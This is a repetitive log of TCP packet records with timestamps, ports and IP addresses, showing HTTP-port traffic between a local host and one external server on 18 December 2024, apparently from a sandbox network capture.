Dec 18, 2024 14:07:41.077743053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.078146935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.078161001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.078193903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.078860998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.078908920 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.079047918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.079685926 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.079735994 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.079775095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.080684900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.080703974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.080734015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.081444025 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.081456900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.081490040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.082218885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.082274914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.082292080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.083030939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.083077908 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.083148003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.083833933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.083890915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.083909988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.084695101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.084714890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.084747076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.085489988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.085542917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.085944891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.086437941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.086451054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.086493969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.153232098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.153372049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.153477907 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.153681040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.153897047 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.153949022 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.154743910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.154761076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.154804945 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.155323029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.155472994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.155509949 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.156186104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.156266928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.156307936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.157063961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.157078028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.157128096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.157824039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.157895088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.157938957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.158606052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.158710003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.158757925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.159516096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.159621954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.159667969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.160291910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.160459042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.160510063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.161144972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.161362886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.161410093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.161963940 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.162147999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.162197113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.162920952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.162981987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.163028002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.163633108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.163677931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.163732052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.164385080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.164486885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.164529085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.165298939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.165312052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.165386915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.166028976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.166117907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.166162968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.166933060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.167090893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.167135954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.167700052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.168005943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.168052912 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.168507099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.168628931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.168673992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.169414043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.169429064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.169456959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.170233965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.170254946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.170308113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.171113968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.171134949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.171191931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.171827078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.171993017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.172036886 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.172626019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.172749996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.172787905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.173453093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.173728943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.173775911 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.174448967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.174462080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.174504995 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.175327063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.175470114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.175513029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.176182032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.176316023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.176357985 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.176774979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.176863909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.176908016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.177712917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.177726984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.177767992 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.178440094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.178540945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.178577900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.179234982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.179349899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.179397106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.180130005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.180167913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.180205107 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.180929899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.180951118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.180989027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.181801081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.181813955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.181853056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.182728052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.182742119 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.182780027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.183367968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.183521032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.183567047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.183926105 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.184192896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.184359074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.184415102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.185168028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.185187101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.185228109 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.269876957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.270082951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.270144939 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.270333052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.270459890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.270498991 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.271233082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.271246910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.271285057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.272031069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.272051096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.272095919 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.272815943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.272914886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.272962093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.273648024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.273696899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.273736954 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.274561882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.274648905 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.274693012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.275481939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.275669098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.275712013 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.276094913 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.276282072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.276321888 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.276948929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.276961088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.277004004 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.277764082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.277873993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.277921915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.278544903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.278728962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.278775930 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.279346943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.279453993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.279495001 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.280167103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.331433058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.345678091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.345977068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.346028090 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.346178055 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.346190929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.346221924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.346832037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.347162008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.347229958 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.347613096 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.347626925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.347664118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.348292112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.348376989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.348479986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.349083900 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.349210978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.349251032 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.349912882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.350086927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.350121975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.350738049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.350956917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.350994110 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.351530075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.351716995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.351757050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.352437019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.352600098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.352641106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.353252888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.353406906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.353446960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.353976965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.354057074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.354104996 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.354775906 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.354856014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.354902029 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.355900049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.355912924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.355997086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.356451035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.356537104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.356579065 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.357316971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.357383013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.357419014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.358222961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.358242035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.358284950 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.358989000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.359002113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.359040022 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.359798908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.359905958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.359949112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.360713005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.360760927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.360800028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.361476898 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.361488104 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.361536026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.362267971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.362384081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.362427950 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.363647938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.363759041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.363814116 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.364546061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.364630938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.364685059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.365154982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.365215063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.365252972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.365634918 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.365750074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.365792036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.366322041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.366564035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.366600990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.367177010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.367361069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.367404938 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.368009090 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.368022919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.368063927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.368801117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.368813038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.369060040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.369759083 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.369807005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.369851112 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.370464087 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.370476007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.370529890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.371309996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.371336937 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.371376038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.372239113 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.372251034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.372303009 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.373087883 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.373188019 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.373225927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.374047041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.374061108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.374093056 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.375062943 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.375207901 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.375247955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.375885963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.375897884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.375927925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.376966000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.376977921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.377021074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.377681971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.377799034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.377835989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.461941957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.462078094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.462133884 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.462356091 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.462460995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.462502956 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.463283062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.463331938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.463368893 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.464036942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.464174986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.464212894 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.464864016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.464966059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.465012074 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.465621948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.465739965 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.465785027 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.466454029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.466584921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.466630936 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:41.467369080 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.467446089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:41.467489004 CET	49707	80	192.168.2.8	176.113.115.178
